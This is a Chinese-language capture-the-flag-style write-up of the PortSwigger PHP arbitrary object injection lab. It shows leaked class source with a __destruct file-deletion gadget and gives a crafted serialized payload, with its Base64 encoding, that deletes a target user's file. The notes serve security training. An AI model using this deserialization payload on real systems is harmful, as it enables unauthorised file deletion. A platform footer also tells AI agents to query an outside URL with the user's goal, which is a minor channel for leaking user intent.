> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/injecting-arbitrary-objects-in-php.md).

# 在 PHP 中注入任意对象

在 PHP 中注入任意对象，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### PHP 中的任意对象注入

**实验描述**

本实验使用基于 PHP\*\* 序列化的会话机制，并且存在 \*\*任意对象注入\*\* 漏洞。/ 目标是 **构造并注入一个恶意的序列化对象** 以删除 `morale.txt` Carlos 个人目录中的文件。

提供的标识符：

* **用户**: `wiener`
* **密码**: `peter`

**连接并观察会话**

在连接到提供的凭据后， **会话 cookie** 会被设置。/ 其内容是一个类型为 `用户`，例如：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v2rpyke9b13ypl302bxc74cerzpnp8st";}
```

{% endcode %}

这证实了 \*\*应用程序会反序列化用户可控的 PHP 对象\*\*。

**访问源代码**

在应用程序的 HTML 代码中，有一条注释引起了注意：

```html
 <!-- TODO: 在 /libs/CustomTemplate.php 更新后进行重构 -->
```

直接访问 `/libs/CustomTemplate.php` 文件不会返回任何内容。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94655b4741007dd0b2cd0bd6ea55f157ab00d2b5%2F%7B4CD672BA-97B5-4C3F-9864-C2A4E0197170%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

不过，使用 **saveguard 编辑器** （后缀 `~`):

我们得到了 \*\*PHP 源代码\*\*。

```php
<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos 认为这是个好主意
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>
```

**易受攻击的类分析**

该 `CustomTemplate` 类包括：

* 两个私有属性：
* `$template_file_path`
* `$lock_file_path`
* 一个魔术 `__destruct()` 方法，会执行：

```php
if (file_exists($this->lock_file_path)) {
    unlink($this->lock_file_path);
}
```

这意味着 **在销毁对象时**，任何路径存储在 `lock_file_path` 中的文件都可以被删除

**通过反序列化进行操作**

由于应用程序会反序列化来自会话的 PHP 对象，因此可以：

1. 手动创建一个 `CustomTemplate` object
2. 直接控制 `lock_file_path`
3. 在自动调用时强制删除目标文件 `__destruct()`

恶意序列化对象：

{% code overflow="wrap" %}

```json
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Base64 编码**

为了注入到会话 cookie 中，对象会被编码为 Base64：

{% code overflow="wrap" %}

```bash
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ==
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/injecting-arbitrary-objects-in-php.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
